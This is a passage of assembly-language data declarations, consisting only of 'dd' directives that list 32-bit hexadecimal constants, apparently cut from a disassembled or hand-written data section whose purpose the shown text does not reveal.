81E25A65h, 66C83359h, 0AE89363Bh, 8754F01Fh, 0E90A0B78h dd 0A5C8D188h, 9380EEE4h, 0D8E58CDCh, 0B061DE81h, 5553D9A7h dd 0E4855697h, 0FEC7FED5h, 0F40577Ah, 2576FAF5h, 24125EF6h dd 5D97EC02h, 9504D505h, 1FACADFFh, 3746EB00h, 0E9F52960h dd 0FA30F776h, 0BB68C614h, 4FED7177h, 12BAA686h, 0A2AC4BADh dd 168E3387h, 0E5D77E73h, 236DFB20h, 0F2D2BD69h, 0E3BC2AFAh dd 0D2738F0Dh, 90CA513h, 0CBCD37E2h, 0CF1BB8F5h, 4BEADB3Ch dd 1737FB18h, 0B36C163h, 366720E0h, 7843266Dh, 3B8FDAC0h dd 971621F4h, 94D5CA84h, 560D5D50h, 0F93F9353h, 5920DED1h dd 972BE15Bh, 25211B96h, 707EA59Ch, 12DD695Fh, 4CCAC3E9h dd 0BF88E1E5h, 0C3006C2Fh, 97BBA9A0h, 8CF6A346h, 77D6FBE6h dd 0EA8590FDh, 0B1518597h, 9441AB29h, 643753D0h, 0FE8AB68Eh dd 4A445422h, 0FFBEC8E8h, 4CC239CEh, 7B4FB44Ah, 87DD0C16h dd 0EB6968FDh, 98EF55E5h, 437177DEh, 0A4891F53h, 0A0C9FC74h dd 101F9920h, 0D6CC787Ch, 0C0F49E96h, 0E11D4C84h, 61E65AF0h dd 960DA824h, 0C5B754A2h, 44C6203Dh, 0CCE49E9Ch, 4A962B42h dd 0ADFF0AEAh, 0A78BCB61h, 0EC229686h, 0A15A9E34h, 5C3309F8h dd 0E7B9E65Bh, 0C3DB4AB4h, 0AD8CC9D5h, 0BB4AC18Fh, 8C127614h dd 0F14FB7B9h, 100B2E7Eh, 0C7BA2129h, 660B5A86h, 0A52DC00Ch dd 0F3A04396h, 3759A6B8h, 0E0B8FC1Ah, 0F47CFBB9h, 97705D6Fh dd 6E21822Dh, 0C91455C0h, 0E2C2CC5Dh, 44218BA5h, 9ED9136Eh dd 0EE2E8410h, 190375BAh, 3787C8A7h, 0F386993h, 0D3707340h dd 0FA6E50ADh, 0F0CA7E26h, 0AACAE13Bh, 661FA397h, 7112476Fh dd 6256651Ah, 0AC5153h, 9C0875D2h, 0E54B3D49h, 2DCF8372h dd 2E596B21h, 192200A6h, 39D031D8h, 0DEC3FF44h, 4DD24EE4h dd 0DCB42FEDh, 0F9B5C774h, 0E0282D4Eh, 0E7E5E19Eh, 0F07D9F4Eh dd 0F3615294h, 7E8F963Fh, 6F50854Bh, 531F7456h, 0DE663AB3h dd 9A339BBEh, 2824C484h, 4243EFDBh, 66D6F4E7h, 7786A5A1h dd 62C4F8F3h, 69210272h, 0F000526h, 3AF64D6Bh, 2A67F540h dd 74A3FEC2h, 1F555AF0h, 97C095E8h, 0CA583488h, 0C35EE5ACh dd 0CC3ADD9Fh, 25F376B5h, 4A69A789h, 8953000Ah, 4DF5EC5Dh dd 80AFDAD5h, 3F7C60B8h, 0B27732Dh, 5C5E97F2h, 5EB24359h dd 2C57B8ADh, 0B33C798Ah, 50CC756Bh, 0D2363B6Bh, 3E63943Dh dd 0E899179Ah, 8101DD57h, 65584958h, 2E34A02Dh, 0C32E1DDCh dd 0C3EC8E84h, 0AC1BA553h, 0AB8C8FF1h, 8198AA58h, 0AD083F3h dd 0E01B134Ch, 0F47DC228h, 45B0B4D1h, 705667Dh, 2A9D7B1Eh dd 0B0A302ADh, 2FA9114h, 4F47C453h, 86C0A044h, 0E5D0FB5Ah dd 68F618A4h, 23031FBCh, 0D28054F0h, 0A18B1DB3h, 0B22AE4D2h dd 6758E730h, 0CC89071Ch, 3385FED7h, 3A95E36Ch, 0C2DF3879h dd 9211E64h, 48ECFC6Ch, 0A9517E21h, 1C02F2B3h, 8856A260h dd 1F568472h, 1502D3D3h, 5EA3330Fh, 3FB4EDF8h, 3BA4D488h dd 0B79E0CBCh, 38F00727h, 0F89FE9B9h, 0FB4B65C2h, 5F55E108h dd 3B0A1232h, 75FAC107h, 5A82ABAAh, 0A117F666h, 9BB34EFh dd 0E50463B7h, 0CB366E72h, 895BD7DAh, 765F178Bh, 0D68837D8h dd 0C2347670h, 0A9502B30h, 0E2E6D573h, 90F84440h, 65CB18BFh dd 0FD416C90h, 0B64079D0h, 0E495EFh, 9199831Dh, 15388BA6h dd 8B410C2Ch, 0E75203F7h, 5352E353h, 0F5A18533h, 7D1077FDh dd 64B086A3h, 874D481Bh, 0F881A00Eh, 0E508F4BCh, 95786882h dd 66E48895h, 8AF23CB0h, 0A2074C80h, 0B8291164h, 0EF2834D4h dd 3875B8F5h, 0D22EBF8Eh, 9D7E3D48h, 8D99B685h, 0CBCA11A7h dd 0F1C218E0h, 1F9178FFh, 36B78AFDh, 364D35FCh, 9BFF40ECh dd 0DEDBFB49h, 637F96h, 5EA7FE6Dh, 6F3CAAD7h, 736005ADh dd 18071D36h, 9B7D2849h, 1FAD5E5Fh, 0BDB3ACEAh, 0C5BF338Ah dd 41FC280Dh, 63787F15h, 170AD199h, 0BAAE9E86h, 0F3C2F54Ch dd 0DA5E6E10h, 424F1539h, 43CF6D25h, 0C3465ABAh, 672D4DC5h dd 48B1B210h, 0E9C88475h, 18CF8EF8h, 0F73FB692h, 7F75D01Bh dd 0CC6CE136h, 0C779E59Fh, 828476E3h, 6BCD3DC3h, 0FEB9C8FBh dd 0C3C6BE39h, 6B8EFC69h, 0A0EE4083h, 5DCCC355h, 0DB3CCA6Ah dd 0AADEAA48h, 0C7755918h, 9734F88h, 1678A474h, 33ACCF66h dd 0C2C38318h, 0A7D071EBh, 7889BF23h, 3E893854h, 0B04CD2A8h dd 0AA9D3434h, 0D11F1D95h, 45308578h, 0A8798D99h, 12F02EB8h dd 7A492248h, 211688ABh, 5272A5AEh, 0BF0F3165h, 24419B37h dd 4CAA0A40h, 4681836Ah, 8F8199C8h, 0E1C6D3BCh, 7B47CCFCh dd 4BC19671h, 0F3E05AD2h, 0A0740685h, 0E2659A92h, 7BADE35Eh dd 922EA4C9h, 95281445h, 15FF054Dh, 1DED8DADh, 2C90CE33h dd 93D1CFDDh, 8D70966Ch, 0D347802h, 0B028FEBAh, 0F08066FEh dd 0CBC103A4h, 0F23092B7h, 2E7DE4DAh, 0EDFE5B52h, 8D055997h dd 86EC9E78h, 89C64B98h, 0A7ED44E3h, 884ADD80h, 6B767E92h dd 0C9324A57h, 898C144Eh, 4B98BDBCh, 29E629CBh, 31676C94h dd 666DD253h, 6D4D7E32h, 0BCB05626h, 835B4B7h, 9478C0FDh dd 0FD5EB4ECh, 0B44CB0B5h, 0C9C975DCh, 39D282E7h, 71A34351h dd 0CEF9C5BDh, 0F8A73A09h, 0CB3F9FF1h, 0A8E89733h, 16D1133Ch dd 7B481AC8h, 2B1EAB53h, 0DBD651AAh, 0EBBDADC1h, 3BA398E6h dd 0CC8FAF83h, 0CC1CC636h, 7424C9BEh, 0AAE50858h, 8848FA5Bh dd 0A46B6F72h, 34882285h, 12C44638h, 913A73FDh, 0C66D2F8Ah dd 2BD4DE88h, 481BF5B6h, 0B4D94A48h, 68DDA0E6h, 7E3292C5h dd 9929A747h, 2B3E5B87h, 76B23B81h, 43AFD86Fh, 0A9EA316Fh dd 59BE666Ch, 6166C201h, 69B2FC92h, 342E2238h, 7EE44B9Ch dd 0A37E3382h, 2EDC6D46h, 33699086h, 0D59FD324h, 0C2B48DDAh dd 0BCD92BF4h, 0AC9E0ECFh, 272A421Fh, 0E215ABA9h, 0FAE3AE63h dd 68D5ED80h, 9BD3D510h, 0ABB11381h, 0D7F35EE6h, 0C9B55F57h dd 7945D651h, 46403B2Ch, 7B4FB45Bh, 0B044E721h, 11BD8D4Bh dd 0C64879D4h, 0F1060994h dd 0D5B9E7EFh, 0C325B200h, 0EB6D6A2Eh, 7E042B60h, 7C70656Dh dd 191637D4h, 206835B7h, 304E118Eh, 0E1479E5Ch, 65656F38h dd 0F864E640h, 0DBF27185h, 26795836h, 41C222EBh, 0BDA1FD08h dd 0DA7C7F42h, 30FB61C0h, 8010F24h, 77531C93h, 0D3A3C539h dd 0D695DC6Dh, 222BDCEDh, 0E47AF241h, 9DD26E9Ah, 2F3B4E6Fh dd 0B8E5634Ah, 19C1BD9h, 0CC8C770Bh, 0BDC3A800h, 13C05A0Eh dd 0F36E17FAh, 5F34B8D5h, 0EB445436h, 70CBD6D4h, 8C16B0E4h dd 91801BEh, 5E288419h, 1F52833Fh, 2C245893h, 0E6CBBAA1h dd 516536A7h, 659BC12h, 762F5718h, 1CAF2922h, 0D02AB991h dd 2E72DECBh, 7D2BDE0h, 43702C10h, 0B37E7E04h, 0A495F9BFh dd 79A4988Bh, 0AAC9B3B1h, 0D9561102h, 0C460BCC9h, 0B7A7BD13h dd 4ED29E65h, 906BDF09h, 0CA4876D9h, 0C2A0D9F4h, 1FF41BC0h dd 8DB8F341h, 0D12F2E1Bh, 0A9239871h, 8D01BA1Bh, 8C8F7641h dd 7B051C82h, 0A4C61449h, 397A8CBBh, 0C5936E95h, 5A9E84Bh dd 3C89D7CEh, 3C840952h, 768497D0h, 89D5E9E7h, 0DA093B7Ch dd 3941B8DFh, 79B7A08h, 0EC53EE90h, 0D96EF725h, 0A3A31021h dd 90EFD4DAh, 0A4CB571Ah, 43D21049h, 0F292F49Dh, 910CB246h dd 47EF3624h, 0C9C14AB0h, 0E40CA06Ch, 1598D37Eh, 0FA39077Fh dd 0AE3447E2h, 0BA5006BBh, 473CC1F9h, 2591A66Eh, 2DB56E80h dd 771356E7h, 7CFD7140h, 5A7F5D27h, 0ABC8409Ah, 0D76BA3F9h dd 651BF0F6h, 35AA3894h, 3FEE0352h, 0D927B459h, 8C7B9337h dd 0DAA0948Fh, 0ADFB0F5Ch, 0A2C5679Eh, 52739B3Dh, 0D91F78CCh dd 29EA55Dh, 644DB92Fh, 0DC0E44E5h, 0C66D0667h, 82462226h dd 0AA7D0025h, 0A6291D22h, 31248D30h, 0B8A6EA1Dh, 0B8FBD0Ch dd 792C9413h, 0CC8C5EA7h, 25779B5h, 0E4DBC82Bh, 0A24D8D96h dd 0C7A6D9DFh, 2676D670h, 0A172B6A6h, 4B02C72Ah, 0FED95D3h dd 20A712D3h, 8D719269h, 8D9371FCh, 8EF83929h, 0E75F2227h dd 692C73FEh, 0FFD8F22Dh, 7FFFCD6Eh, 25E518CBh, 4F9DAADCh dd 0E83A16CBh, 0C69F98A9h, 8D7ECB75h, 2F5B965Eh, 113FAE1Fh dd 0BE2F76D2h, 750229B1h, 3F191622h, 79BB85C1h, 63219C7Ch dd 0B4A6EB16h, 0DD3DA4EAh, 32B942EEh, 0AFC14DB8h, 389504FAh dd 9155128Ch, 0A95E0910h, 0D5BF938Fh, 241D0A73h, 60F7029Dh dd 0EF4BFA91h, 88F3E139h, 335A1875h, 2B729Bh, 36757E83h dd 5A20F9F3h, 0F2230236h, 9A129022h, 630FA3D0h, 0DD14D818h dd 72EEE00Fh, 92DBDD8Ch, 930ABD40h, 0A05113Dh, 874464Ah dd 0D258DF34h, 28CFB525h, 31F86811h, 44C07F83h, 12770F7Bh dd 6BAC7CCh, 0D26D0413h, 6795E886h, 42E1790Ah, 2F4886C8h dd 149EF731h, 8E75E6DEh, 0E0DE3D37h, 0FD705E77h, 8B2EDBE2h dd 29748298h, 6A7DFA84h, 0A537FC9Fh, 733C1CC7h, 6361170h dd 0B25472CFh, 0A2EEBBCh, 3B4DAAF0h, 91329031h, 6F06B53Dh dd 0D60A7FAh, 47ED4891h, 0C1DF4298h, 0D2BA71A0h, 0B728397Ch dd 27A1C409h, 8E158296h, 5C7A94E0h, 24D647CCh, 0E900B28Fh dd 0F5D5E263h, 9D2A0E03h, 3DCBED9Ch, 0C2D81A2Ah, 0A93F9422h dd 89698C4Dh, 60F3528Ah, 63235FC1h, 2D6D9EC9h, 0FF3349C4h dd 5B8E2831h, 5E80CE36h, 42DFAFCBh, 55B45BEDh, 0AB0B276Dh dd 49AF18B3h, 6B64146h, 22AF5D05h, 2DAC8FB6h, 0BFB70F56h dd 29D94962h, 4ABFFE6Eh, 6FDD1D94h, 292C8EF4h, 0C8E06B5Eh dd 0C52CD6EBh, 0F5FA8CD1h, 6BCCCB92h, 0F708EF80h, 36ADB6Bh dd 1131BBB0h, 593D6C58h, 0B2B6734Dh, 7892B9EDh, 2C75B435h dd 1E6551EEh, 8BA79E98h, 0B03D7F9Bh, 463490E9h, 102EDA11h dd 2E9088C9h, 38EABE42h, 4CE7066Fh, 4B11E76Ah, 911985Dh dd 71BE2C6h, 69D634B5h, 6966CF9h, 6FDF5EA6h, 79C8C769h dd 4FAE72Ah, 0D0BBEB3Eh, 0B4858E7Bh, 69D1A60Ch, 17B67798h dd 0DD602EA9h, 0A1F59C2Ch, 0B7C3B1F7h, 68C08CF1h, 25A646ADh dd 23EB9FEDh, 1DD0C65Fh, 0E0CC7D53h, 0F482B39Fh, 57DAC314h dd 48F1CE85h, 79B63373h, 0B576E3Ch, 1B9B8FE6h, 7E8054A5h dd 74629736h, 256239ADh, 0BE0C0313h, 0AECDC8D7h, 0E5FA00ADh dd 53F0AD77h, 0E1323368h, 6999BD54h, 0D8E8789Ah, 0DD52359Bh dd 9A744A63h, 50A33712h, 1C0EE804h, 754F1994h, 66B0DC9Ch dd 3C2F7267h, 0C8266A0Fh, 9DC58B6Ah, 70BA9AA1h, 0E2937E12h dd 0F15BD3FDh, 2BE704Bh, 0CE2E3B20h, 0FFC324Bh, 1147C6EEh dd 7EF73317h, 96B23DD9h, 7C6E3F33h, 0B60E0721h, 9BDC91BDh dd 58313CE6h, 0DEE2BED5h, 2C031853h, 0A1B013A1h, 59F35E84h dd 0BCD95C50h, 5B0BA4E6h, 0E48807EEh, 9BBD11h, 4B37C3C1h dd 952A96CCh, 0F54B9D7Eh, 0DA6FEF88h, 5F559DACh, 764F93B3h dd 3ADB7B4Eh, 3CD9DE1Eh, 4A3FF568h, 75E3FBABh, 0A570BBA8h dd 83165102h, 3BBF103Ah, 2F61131Bh, 0BD93DEDFh, 6D0DAA17h dd 20B82165h, 5773B70h, 819875B0h, 44092C34h, 9E564FEBh dd 9C1EE05Eh, 0F7986CE3h, 24936A59h, 642F720Ah, 5661E1B2h dd 0EBE47DB3h, 79437EBDh, 6F9BF21Eh, 6206D42Ch, 0CB582626h dd 355FFA2h, 84E55901h, 37103DBFh, 0DD6513BDh, 0F2855CE6h dd 0E6C2AF8Ch, 49FCCF3Eh, 0AA547FB4h, 974545DDh, 1FCD8C4Fh dd 9C85091Fh, 9760D5F0h, 83C838AFh, 68ACFDD6h, 838591F3h dd 99AAACEh, 18628368h, 96A9E689h, 90B83362h, 7D3A6A06h dd 0E57BC7F5h, 4A8FDFEEh, 0D800AC96h, 0C39E2D55h, 0C3CA46DDh dd 3F552A52h, 4242A59Ah, 12FAD1ADh, 0BDBB04C6h, 18AE5C6h dd 0DAB2AAB6h, 4654805Dh, 0EAC379F5h, 0FB70F7F6h, 682D73E1h dd 70774FD5h, 202BCD62h, 11CB1E9Eh, 0FD0C5F5Ch, 0AACAB38h dd 5E9B97EDh, 0FB143D9Fh, 0D50C5B7Bh, 6BA18BEh, 0B142848Ch dd 681D84BFh, 0C15C3EB8h, 65B0342Eh, 0CDC54BC9h, 90048D89h dd 8136B2C8h, 16B7AC33h, 7888CEE1h, 6B7F0E8Bh, 0CFD7A262h dd 1C0F04BFh, 40343BBDh, 0C8A475FDh, 0EC074F8Ah, 3BFE84A6h dd 78965017h, 0B276F842h, 30B732C9h, 70E5F8DDh, 7382BF8Ch dd 43BFD307h, 2668621Ah, 4BE70F5Ah, 0D5CF0CFCh, 0CF5A5481h dd 0D23FDE0Bh, 0F20418F5h, 0E42A8726h, 5B6D6C80h, 0EAFF36E4h dd 240BDCE9h, 0BA444Eh, 6D34EF59h, 5F8055Ch, 1C3BDF65h dd 2A04BD38h, 1A2BBEC2h, 5177BA4Eh, 9B707DB1h, 823B29BAh dd 94AAACDEh, 0CA0CBFD5h, 2D41CF59h, 0FB12AC26h, 0E80F7FEBh dd 0FEA412D3h, 1CDDCC03h, 0BE5134F2h, 845EEE0Eh, 0A024D993h dd 376368FFh, 0C001166Eh, 647FD627h, 0CFEC10EDh, 1D3371EEh dd 0FE8E66F3h, 0BC3A79E7h, 422AA996h, 0F4F489E6h, 1D7C7BF4h dd 0F152C6E4h, 0DDAD386Eh, 0CE1A006Ch, 229798BCh, 0EDF227BBh dd 0BA4FDE8h, 5943931Eh, 0A542C297h, 92D8B33Ch, 0FB56E5Eh dd 96333CF5h, 0A94CF869h, 4824AA31h, 380CBEB9h, 32FC5C30h dd 9149B476h, 46FA9934h, 83F7D851h, 8991A9A3h, 0FEFE3306h dd 7AFD8B62h, 2EB5BC68h, 9EFADD9Ah, 54CF7CEEh, 6FEDD10Fh dd 73B7C088h, 9BC747ECh, 0E549F8B2h, 0E63C9215h, 60A98090h dd 2490E881h, 0B1C12329h, 4738B52h, 87EC8832h, 544847BBh dd 3F38B57Fh, 0CA8764CFh, 0D9818B9Fh, 10A56575h, 0F1C651A7h dd 0EDC8F328h, 0E3B03EC3h, 0FEF4046Ah, 0CDC25B8Fh, 0C3A9F790h dd 635D0883h, 11942EB8h, 0F9BCF06Dh, 0F1E138D6h, 7A6341Bh dd 72C6D739h, 2836F63Bh, 0DBAA9DDCh, 0B2285E50h, 93FA6E90h dd 74EE9Bh, 7322CE05h dd 57F4AA5h, 9426080Fh, 0B4A01B0Bh, 2CE50232h, 6052B120h dd 2AEAF25Dh, 2E3F767h, 89531D0Ch, 330D9718h, 0B751958Ah dd 0A3CA847Fh, 6C8F555Dh, 869A5C24h, 208831EAh, 5CA88486h dd 0C05CC6CEh, 0C3F6D90Bh, 6C8BD033h, 9368B9B6h, 0C9781BB2h dd 908671F0h, 6E40EDFFh, 37BD5058h, 0F7A78FECh, 0BF163C8h dd 0C90DA169h, 9EB59BEEh, 0E86AE0E7h, 87528268h, 0AEF6BBE8h dd 0B1095268h, 0E46DA4FEh, 4CA30F94h, 158A2A1Ch, 67607C0Ah dd 0EA1436AEh, 0DDBBFE7h, 6FCC947Ch, 0FC7D7636h, 2771A68Bh dd 2BD53A71h, 258A76C9h, 0BD62D709h, 4D990C52h, 0F907B151h dd 6B380C0Fh, 0C62716F4h, 0CBBA465h, 322650B3h, 0CC99E5C6h dd 6CA0FA7Fh, 0DAB072h, 85C69771h, 0F58E4A5Ch, 2DC0AC5Ah dd 37C8E52Eh, 5C23A94Fh, 9C6F450Ch, 384D5E90h, 0BFA69C22h dd 94E9C93Dh, 3C86EB41h, 528A9DDFh, 7B8F4EA5h, 0CD397C3Fh dd 57153EDAh, 6619EB96h, 0E47E6D80h, 0D8159C7Dh, 0E98931FEh dd 0AB4F25D5h, 0A77CE669h, 5573711Eh, 99C75D3Ah, 893CB4AEh dd 927B8E48h, 0BC607806h, 0D2511793h, 0E9C22090h, 4B34BC26h dd 81AE2939h, 5DCD8E58h, 2E967D9Dh, 0BD99BD45h, 0F54156BDh dd 288E099Ah, 5C006BCFh, 3BF2B893h, 0AF302BBh, 6459DF7Bh dd 0C95131F5h, 7D58A503h, 6FB5735Fh, 0E1E1A919h, 7C2DA8ABh dd 888ACBBBh, 42536A7Eh, 22B42D0Fh, 8610F945h, 7CFD53D3h dd 0FF265343h, 0CDF2773Fh, 3CFB2D27h, 3C389034h, 0B0605529h dd 3D33DEFDh, 284228F1h, 0C871653h, 3623C221h, 80AF85CBh dd 0CDFD1A48h, 60613943h, 0EE4C56B1h, 0D85EC725h, 90C7A840h dd 63199BC5h, 2D072E88h, 110422BAh, 79A2FB5Ch, 59F17294h dd 0C370405Bh, 902FEAA9h, 0CD7CE331h, 0EB503673h, 0A1688592h dd 28CDCDE2h, 0BA7AE487h, 4BC93687h, 5335F111h, 7C0CA1D9h dd 2E12A40Dh, 80271616h, 0EF508716h, 0A368949Ah, 0FAC9615Ch dd 0E2C2DD56h, 0E0CF1DD9h, 33B64A87h, 978376E1h, 0A8B7FD46h dd 0A9B29372h, 0D4C5F8B1h, 0C931536Fh, 0C9344D7h, 9374FD59h dd 880E8683h, 2271BAEBh, 0AC2C3274h, 0AACC06E6h, 1A45767Bh dd 0CF96CD3Ch, 86519F7Dh, 0E366D5Bh, 5B1D97F7h, 6E146566h dd 5C1B102Bh, 0AD47AB5h, 357FBC4Dh, 5EEDEFAAh, 0A99285C4h dd 0E60F67EDh, 67E573CBh, 683AD5E2h, 6BB57274h, 0B89D7EAh dd 0FA3B55E4h, 19143AEBh, 88ABD5D4h, 71D7B199h, 540C41BEh dd 92FAFFDAh, 95823692h, 51AFE07Bh, 0F4726310h, 0C885C4A9h dd 9C9088B1h, 0F2CC3484h, 751E37E4h, 0AB7ABF25h, 0F77B62FAh dd 0A04B25D1h, 7488C96Ah, 0EC4E6283h, 0EA2FA4BFh, 6C9921FBh dd 0ED657BE1h, 0EA83BF51h, 0BF4B91FCh, 38F92A6Eh, 30A9A16Eh dd 229B2AE7h, 0A4C083DEh, 8D565A52h, 4C11F694h, 0E899150Bh dd 0C6A1119h, 7FEFE08Dh, 26FFA6A5h, 154BE773h, 766924E0h dd 27DB1DA2h, 3612C930h, 2E0EE4C3h, 4346223Ah, 0C5AD7909h dd 36091B59h, 73958CE7h, 159B71CEh, 0A8F6307Dh, 747DA2B5h dd 0E444CC5Dh, 676F8AC7h, 2C169FDEh, 50FFC21Ch, 3776E8CFh dd 9006EF86h, 9F3685E1h, 0B944D5B2h, 0E029B698h, 2613ED36h dd 0B07C4D1Dh, 0C4FD2BBEh, 0A90926A6h, 0F934003Fh, 2ECC9D74h dd 804C9F40h, 0DD81EEDDh, 3922670Dh, 0FC467Fh, 0C99D4126h dd 0CF471948h, 0FB073E0Fh, 25107D40h, 6136AB02h, 0A394C728h dd 5EB75BF0h, 0A9A6BCBAh, 0E0DAEBh, 8FF4D9CCh, 8D7BF606h dd 1C3CAD0Dh, 1D0EA4FFh, 72683229h, 8233B7DDh, 59B5A234h dd 0E557C727h, 1E5873B7h, 5492D571h, 0A94DBF9Bh, 8A84424Ah dd 67BD8CA6h, 908FA9A5h, 0AEFA5765h, 2AA4BC6Bh, 24CF1F6Fh dd 0CA4A6266h, 4F0EFD26h, 5D68E72Eh, 0E8919B08h, 0EA98683Bh dd 0D2A27AD1h, 0DCC1842h, 2EC7BF33h, 6917A696h, 0D7BAF09Bh dd 0E8CFD242h, 0D77092D6h, 2EC187F5h, 0D94DF912h, 3C03A945h dd 0B396FB8Fh, 46BCB3ABh, 1040E334h, 64F52436h, 7981EDDBh dd 5055DD92h, 65CA231Ch, 422B4D1Ah, 380AE0D9h, 0A35EEA03h dd 35A5F9A0h, 0CB6447BCh, 1179A25Ah, 81EE09C0h, 8E929E5Ch dd 4E0AE4BDh, 0DA0429DFh, 377D7984h, 0D7B0ACBDh, 1201668Dh dd 947A849h, 0A20655C0h, 57EA4E09h, 8C4CAEFBh, 0B6DDDF52h dd 314CD871h, 28A4E812h, 0AFC3B267h, 0FC66D5A0h, 280BD75Ch dd 935F6E0Eh, 0FBFAB904h, 13FE97A8h, 1DF05FF4h, 6A71A997h dd 9B5FB71Ch, 0B830FF1Fh, 0F044F9E0h, 0FC15F438h, 0E501C2Eh dd 0B9B538BDh, 90657B35h, 22E02B5Ah, 498EFD5Bh, 0A796F6D8h dd 85F5ECE0h, 58214E77h, 8F3B6B7h, 0B47825D6h, 53590807h dd 0D11988F1h, 0C28E0DDh, 68877425h, 0C946536Bh, 674AA5Eh dd 9A4AFDD8h, 716CE2A3h, 0F245CC29h, 36501E59h, 404691E5h dd 10291231h, 63C96522h, 0B8DEC7B7h, 9E727E4Eh, 230A5DEEh dd 0B4DFF30Ah, 676100C0h, 39991EA6h, 130FC93Ah, 6755E0DEh dd 1369AEF6h, 0E869DB24h, 5217E1FFh, 0A94D2A5Ah, 2BEE1F9Bh dd 11C19142h, 0F3A8FC6Ch, 79DDE1C6h, 741D96B6h, 3F02DAh dd 8877B61Eh, 9B8D4074h, 0CEA15DCFh, 2D501E35h, 0CDA2FD1Ah dd 3E9EE21Ah, 0A34CC92Eh, 4257BFC0h, 0A3A2C226h, 93AD506Ch dd 95258FF1h, 56DA16B5h, 7CB027Dh, 475DC76h, 0F272E3C3h dd 19BC8F28h, 0FDDFA927h, 5DADFA96h, 62F903FCh, 22203CDBh dd 0DEE4862Eh, 0F54A152Eh, 70B71982h, 0D28D003Fh, 0FC011B0Bh dd 3DE717CDh, 0C580AAEh, 0E5589C68h, 84D66836h, 8C2B106Fh dd 117BC71Fh, 2E756C3Ah, 89AAA5ECh, 0ED755345h, 217697F0h dd 61D9FFE9h, 42D71179h, 270E9ACEh, 3E4BA113h, 0B57DAF0Ch dd 903F43Bh, 3610645Eh, 0A25E2C0Fh, 54F31149h, 673696E4h dd 0CEA358EDh, 0DBB2BA06h, 4B433387h, 0E6161796h, 11F6F93Ch dd 6D45FE48h, 1CE6E4ADh, 9CDAAB55h, 97C404C5h, 0F9499108h dd 5417AEA1h, 4F0C8A59h, 0B3E9A7D5h, 1FEE5403h, 0E624B17Ch dd 78BB1FBAh, 314162BEh, 4D3EDD92h, 1ADD55B5h, 92DA8757h dd 4BB2149Eh, 1CD91077h, 9F888FD5h, 0FCBA8EAAh, 120A4E2Fh dd 9AB03176h, 0C21FCF27h, 0A73C95ECh, 26C09BDEh, 0CAA690E7h dd 7415467h, 275FB6EFh, 465A6C87h, 0A36C775h, 3CD08F66h dd 86C92D90h, 8D9E40FFh, 4DD3CDBh, 767A733Bh, 7768E2FBh dd 5BD642F6h, 6FA4CC5Fh, 0BAC746B3h, 0B36B73BFh, 330EC6DCh dd 630BA08h, 0F498022h, 7CAD3E97h, 4C21615Dh, 0B0A2EE62h dd 0D1783588h, 0B9C7999Bh, 6B9326CBh, 0F1C333BBh, 0B9D51354h dd 0D8409A61h, 80216E02h, 0F23D0C22h, 0ACA4C42h, 0F8E13A67h dd 5BFA97ACh, 3BE7999Dh, 0D57DC1BBh, 40ECD360h, 178D5111h dd 4299D078h, 7511D64h, 0CF1A941Eh, 114AC5D0h, 7B9EC3D4h dd 1006C48Bh, 0A6DD2B13h, 0FDE235BCh, 41E9213Ah, 40A6F2A9h dd 0FF1B51CFh, 7750D70Dh, 0BD0F1E1Fh, 766CF12Fh, 664274BCh dd 0C43B637Ah, 4276CEDAh, 3F39D3C0h, 0DB2B95A1h, 0C10237ADh dd 0C5AF9F4Fh, 0BA1B4330h, 9E8CDD1h, 6AD77DD6h, 8BA84039h dd 1F02EA27h, 0A9F3A6C1h, 1137C4BBh, 2B2D6D0Fh, 7DF96865h dd 19096739h, 690C1F8Bh, 0D08F038Ah, 0A0F134CAh, 0E77F4720h dd 0E23098B7h, 0FBA5908Ch, 0E26B8324h, 81459268h, 0D658BAFAh dd 54FE70B7h, 60D97D79h, 2E850C33h, 8C1CFB7Bh, 2671DAE2h dd 0BEEA9EE2h, 52B19422h, 0F27690B1h, 1F65419h, 364FB853h dd 683BDE0h, 0E46ECA08h dd 0BF951CE2h, 0D0977DD9h, 24A3F524h, 0BD8568B0h, 0E4963879h dd 1B5E579Dh, 4930A6AEh, 3D12A1A8h, 0FAD82485h, 5EDE1DB8h dd 5A870F79h, 37CBAFC7h, 0F82C9563h, 7FAC6CD8h, 0D6AC7D61h dd 7174C896h, 0E2E1EEFBh, 75CF7B38h, 91AAD5E8h, 0D78D9582h dd 0E4F2FFEDh, 3A738296h, 0EF0F991Ch, 0ECA7787Ah, 2673A3FBh dd 73F08AD1h, 0D4046D4Eh, 0FD654701h, 6B460E9Ah, 34A8AF2Fh dd 7AE0FFC5h, 0A95ECBE5h, 5172D889h, 5C91968Ah, 0F0D6DA5Fh dd 3D1A385h, 0CA9E67B8h, 335F3DE9h, 46AD8AB6h, 6B60E7E6h dd 0E90A064Fh, 0D8ECAB67h, 47A554A2h, 9254D1D6h, 0DA9471DBh dd 8CF4EF53h, 3CC3C203h, 7BD40761h, 0B8BE8898h, 1742B77h dd 676E4E37h, 0CC6B11A8h, 0D381B7DDh, 0D96E3FF7h, 431D9485h dd 62A37F89h, 0F404F05Bh, 6FA481E8h, 613E3E9Bh, 5EBFDEF5h dd 0F04DCB1Bh, 0B5864AE2h, 19115B2Eh, 10F9630Ah, 0DA8124BDh dd 0CA13490Fh, 0ADFFFA86h, 8323B3CFh, 5E609D37h, 89F6F81h dd 1DAF674Ch, 1B824237h, 904CBD32h, 0DF8810CEh, 0F6FA0B56h dd 0CAF7615Dh, 1111BFB7h, 0D8CB8984h, 2DB2A339h, 0FF8F0967h dd 0D916332Fh, 963B1873h, 115337D5h, 67BD836Bh, 8A08226Eh dd 6D4ACC64h, 70F8C0D7h, 18B6E550h, 35ED0FDh, 0FE9BAFB6h dd 19BD6691h, 0D960CEB4h, 2266C165h, 0BC4313Dh, 0F525E79Eh dd 0C9F23995h, 1A42FDFh, 11A83D85h, 479B6F27h, 0A029C3F7h dd 7EBB2A72h, 1F3B121Fh, 39C94268h, 666B531Ch, 0F9BEC356h dd 99FD582h, 71D3ACB6h, 13929E64h, 333CF8FCh, 4C0432ABh dd 918ACECDh, 3F38B3FEh, 34114776h, 0D281EB06h, 0B4FF4F97h dd 9D5E7731h, 1F767BCFh, 0C49354F0h, 589AA942h, 7FFF9F7Ah dd 0C8862F13h, 6DF7DF24h, 534CFCC6h, 0C6841763h, 4113FF78h dd 1E49B959h, 98FF1E1h, 0B3BB90DBh, 0F92739C8h, 25DBFDFCh dd 305DF1h, 13DED7C7h, 4088865h, 440E8B85h, 0D3A0DD4h dd 64332B1Bh, 0AEF34D85h, 99FC5CB3h, 62E38862h, 0A62B272Ah dd 51F53471h, 58418EA5h, 9DE5101h, 0B9604569h, 10AD470h dd 6AE11B14h, 